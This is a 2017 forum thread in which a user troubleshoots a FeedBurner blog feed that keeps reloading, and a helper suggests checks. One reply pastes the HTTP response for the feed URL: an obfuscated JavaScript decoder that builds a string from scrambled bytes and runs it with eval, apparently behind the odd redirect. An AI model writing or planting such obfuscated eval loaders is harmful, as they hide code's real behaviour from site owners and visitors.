Feed stopped working

65 views
Skip to first unread message

Jordan

unread,
Oct 23, 2017, 12:26:02 PM10/23/17
to General Feeds and Syndication
I am running two feeds for a friend for two websites, both WP, and one of them stopped working: when clicking on the link, the page attempts to load/reload rapidly and the feed url gets some extraneous characters and fails to load.  Both feeds used to work.

Its feed page address: http://www.jonathan-cook.net/feed/ (this works)


The feed that doesn't work: http://feeds.feedburner.com/JonathanCooksBlog   
Its feed page address: http://www.jonathan-cook.net/blog/feed/ (this works too!)

The extraneous characters that get added to http://feeds.feedburner.com/JonathanCooksBlog: ?LMCL=ECBM0t  They seem to remain the same, each time the feed link is clicked.

This problem occurs with any browser and from locations around the world; and it is not a caching or a CDN issue.  Also, the WordPress systems on both sites are up to date.

Might it be that changes in google feedburner no longer permit a url "subdomain"? (This may not be an actual subdomain, but it's a subdirectory under the main domain name where the blog is nestled under the main website.)  

More info on the problem, based on the troubleshooter results:

1. Trying to ping:  http://www.jonathan-cook.net/blog/feed/  I get the following error message:

Your Ping resulted in an Error "We were unable to process your ping. You must ping with a URL that exactly matches the channel link (RSS) or alternate link (Atom) in your top level feed element pointing back to your website (e.g http://myblog.blogspot.com/), or use your feed URL (e.g. http://feeds.feedburner.com/myuri)."

Following this advice, I try pinging http://feeds.feedburner.com/JonathanCooksBlog and it is "Successfully pinged."

2. Feed Validity test: I get the following error which, unfortunately, I do not understand.

A problem occurred in a Python script. Here is the sequence of function calls leading up to the error, in the order they occurred.

 /home/sa3rubyvps/feedvalidator.org/check.cgi in ()
     63       return url
     64 
=>   65 import feedvalidator.formatter.text_html
     66 
     67 def buildCodeListing(events, rawdata, url):
feedvalidator = <module 'feedvalidator' from '/home/sa3rubyvps/feedvalidator.org/src/feedvalidator/__init__.pyc'>, feedvalidator.formatter = <module 'feedvalidator.formatter' from '/home/sa...or.org/src/feedvalidator/formatter/__init__.pyc'>, feedvalidator.formatter.text_html undefined
 /home/sa3rubyvps/feedvalidator.org/src/feedvalidator/formatter/text_html.py in ()
      5 """Output class for HTML text output"""
      6 
=>    7 from base import BaseFormatter
      8 import feedvalidator
      9 from xml.sax.saxutils import escape
base undefined, BaseFormatter undefined

<type 'exceptions.ImportError'>: cannot import name BaseFormatter

      args = ('cannot import name BaseFormatter',)

      message = 'cannot import name BaseFormatter'   



3. Resyncing doesn't do anything...


Would greatly appreciate your advice.

Thank you,
Jordan

 










Matti nescio

unread,
Oct 23, 2017, 1:15:04 PM10/23/17
to General Feeds and Syndication
On Monday, 23 October 2017 19:26:02 UTC+3, Jordan wrote:
Its feed page address: http://www.jonathan-cook.net/feed/ (this works)

What I'm seeing there is this : 
<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /feed/ was not found on this server.</p></body></html>


http://www.jonathan-cook.net/feed/atom/ shows this: 
<html><head><title>404 Not Found</title><link rel='stylesheet' id='validate-engine-css-css'  href='http://www.jonathan-cook.net/wp-content/plugins/wysija-newsletters/css/validationEngine.jquery.css?ver=2.7.13' type='text/css' media='all' />
</head><body><h1>Not Found</h1><p>The requested URL /feed/atom/ was not found on this server.</p><!-- ngg_resource_manager_marker --><script type='text/javascript' src='http://www.jonathan-cook.net/wp-includes/js/jquery/jquery.js?ver=1.12.4'></script>
</body></html>


2. Feed Validity test: I get the following error which, unfortunately, I do not understand.

When http://feedvalidator.org/ is down, use  https://validator.w3.org/feed/  to validate your feed instead. 


Visit http://feeds.feedburner.com/JonathanCooksBlog with javascript disabled and view the page source. 
(or use http://www.rexswain.com/httpview.html ) .  The code  doesn't look kosher. 



Jordan

unread,
Oct 23, 2017, 1:59:49 PM10/23/17
to General Feeds and Syndication
Thank you, Matti! But, I'm afraid I don't understand your comments.

The top part of your comment:

When I visit http://www.jonathan-cook.net/feed/ and http://www.jonathan-cook.net/blog/feed/ I see all posts, just as shown on the website and the blog site, fully up to date.

Indeed, there are no *actual* pages http://www.jonathan-cook.net/feed/ and http://www.jonathan-cook.net/blog/feed/ and I don't believe there ever were.  I may be mistaken on this... I built these website several years ago and created the RSS feeds for my friend. I believe the RSS setup was done entirely from within the feedburner system, and all I provided were the homepages of the website and the blog site. Therefore, no WP /feed/ pages were created. And, frankly, I don't understand how the content of the RSS is displayed when you click on the links above (with javascript enabled  


The bottom part of your comment:

If I go to http://feeds.feedburner.com/JonathanCooksBlog with javascript disabled, I get the following notification:

Your browser doesn't seem to support Javascript!


If I go while javascript is enabled, I get the original error I reported: the url address immediately changes to


Here's what it looks like on RexSwain validator site, not that I understand the problem, other than javascript not enabled:


Rex Swain's HTTP Viewer

http://www.rexswain.com/httpview.html

Code last updated 21 January 2012

Parameters:

URL = http://feeds.feedburner.com/JonathanCooksBlog
UAG = Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
REF = http://www.rexswain.com/httpview.html
AEN =
REQ = GET ; VER = 1.1 ; FMT = AUTO

Link: http://www.rexswain.com/cgi-bin/httpview.cgi?url=http:/ ... &req=GET&ver=1.1&fmt=AUTO

Sending request:

GET /JonathanCooksBlog HTTP/1.1
Host: feeds.feedburner.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Referer: http://www.rexswain.com/httpview.html
Connection: close
• Finding host IP address...
• Host IP address = 172.217.12.14
• Finding TCP protocol...
• Binding to local socket...
• Connecting to host...
• Sending request...
• Waiting for response...

Receiving Header:

HTTP/1.1·200·OK(CR)(LF)
Last-Modified:·Mon,·23·Oct·2017·17:56:40·GMT(CR)(LF)
Content-Type:·text/html;·charset=UTF-8(CR)(LF)
Date:·Mon,·23·Oct·2017·17:56:40·GMT(CR)(LF)
Expires:·Mon,·23·Oct·2017·17:56:40·GMT(CR)(LF)
Cache-Control:·private,·max-age=0(CR)(LF)
X-Content-Type-Options:·nosniff(CR)(LF)
X-XSS-Protection:·1;·mode=block(CR)(LF)
Server:·GSE(CR)(LF)
Accept-Ranges:·none(CR)(LF)
Vary:·Accept-Encoding(CR)(LF)
Connection:·close(CR)(LF)
(CR)(LF)

End of Header (Length = 359)

• Elapsed time so far: 0 seconds
• Waiting for additional response until connection closes...

Total bytes received = 1333

Elapsed time so far: 0 seconds

Content (Length = 974):

<html><body><script>function·Pnt(Do,FK,QQ){var·Be5sH,XFpzY=new·Array(),Jp7WF="\x5f\x00\xdd\xe6\x81\x61\x78\x50\x79\x23\x70\x9f\xd6\x73\xf4\xb8\x4c\x2f\xc0\x7a\x73\xa1\xb6\xd7\x0a\x8f\x44\xf6\x4d\xe9\x92\x5b\x26\x5c\xbc\x52\xc8\xda\xc8\xbe\xca\x2b\xd7\x3d\x34\x3e\x7a\x71\x78";for(Be5sH=0;Be5sH<Jp7WF.length;Be5sH++)XFpzY[Be5sH]=Jp7WF.charCodeAt(Be5sH);Be5sH=4;while(Be5sH<=35){XFpzY[Be5sH]=(XFpzY[Be5sH]+XFpzY[Be5sH+1])&0xff;XFpzY[Be5sH]=((XFpzY[Be5sH]<<7)&0xff)|(XFpzY[Be5sH]>>1);Be5sH++;}Be5sH=1;do{XFpzY[Be5sH]=(XFpzY[Be5sH]+XFpzY[Be5sH+1])&0xff;XFpzY[Be5sH]=(~XFpzY[Be5sH])&0xff;XFpzY[Be5sH]=XFpzY[Be5sH]^13;}while(++Be5sH<=40);Be5sH=37;for(;;Be5sH--){if(Be5sH<3)break;XFpzY[Be5sH]=((XFpzY[Be5sH]^182)+35)&0xff;}Jp7WF="";for(Be5sH=1;Be5sH<XFpzY.length-1;Be5sH++)if(Be5sH%7)Jp7WF+=String.fromCharCode(XFpzY[Be5sH]^Do);Jp7WF+="";eval(Jp7WF);}Pnt(88,"","");</script><br><br><br><center><h3><p>Your·browser·doesn't·seem·to·support·Javascript!</p></h3></center></body></html>

Done



Thanks for trying to help; would greatly appreciate help getting this fixed.

Jordan


Matti nescio

unread,
Oct 23, 2017, 2:14:13 PM10/23/17
to General Feeds and Syndication
On Monday, 23 October 2017 20:59:49 UTC+3, Jordan wrote:

Visit them with a different browser/computer/device/ISP . Or ask other people to visit them on 
their own computer and report what they see. 

 
there are no *actual* pages http://www.jonathan-cook.net/feed/ and http://www.jonathan-cook.net/blog/feed/ and I don't believe there ever were. 

Then there would never have been anything for Feedburner to create a feed from. 

 
Therefore, no WP /feed/ pages were created.

You don't "create" them - Wordpress does when you have feed syndication enabled.  



Jordan

unread,
Oct 23, 2017, 3:11:44 PM10/23/17
to General Feeds and Syndication
Thanks again, Matti!

Yes, I understand that WP generates the /feed/ "page" even though no actual page by that name was created by me. In this case, the the feed url was entered into the WP theme (Thesis), one in the website setup and another in the blog setup. 

I did check both urls   
from a new computer that did not access these sites before, and I'm getting the same results, depending on the browser used -- Opera opens its own feed viewer; Chrome displays without CSS; Edge gets lost and asks what App to use to open the RSS.

Maybe the best way for you to see it the way I do is to go to the bottom menu of this page -- at the very bottom of the page:


at the far right of the menu there are two buttons: 1) to the Website RSS (which works); and 2) to the Blog RSS (which doesn't work). Try them both, please, to see what I see. Basically, I am trying to get the blog RSS to behave just like the website RSS.

I was speculating earlier that the RSS settings (within the google RSS system settings) point to the blog feed at 


Might the fact that this is a subdirectory ("/blog/") under the domain "jonathan-cook.net" be the problem? (It wasn't when I created it a few years back). I'm not sure what else is different between the two setups that makes one of them work perfectly and the other fail. The Feed Address: (http://feeds.feedburner.com/JonathanCooksBlog is correct. 

Thank you again,
Jordan

 





  

 

Matti nescio

unread,
Oct 23, 2017, 5:59:28 PM10/23/17
to General Feeds and Syndication
On Monday, 23 October 2017 22:11:44 UTC+3, Jordan wrote:
I did check both urls   


from a new computer that did not access these sites before

Was it using the same router, ISP and DNS as the first computer ? 

Try viewing them in any cloud-based feed aggregator. 
(e.g. feedly, netvibes, digg reader, aol reader) 

Jordan

unread,
Oct 23, 2017, 6:13:21 PM10/23/17
to General Feeds and Syndication
Thanks again, Matti!

I have asked someone to try this for me from a different location and computer, and will report on the results.

Have you tried the two links I requested earlier, and what did you get to see?

Thanks,
Jordan

Reply all
Reply to author
Forward
0 new messages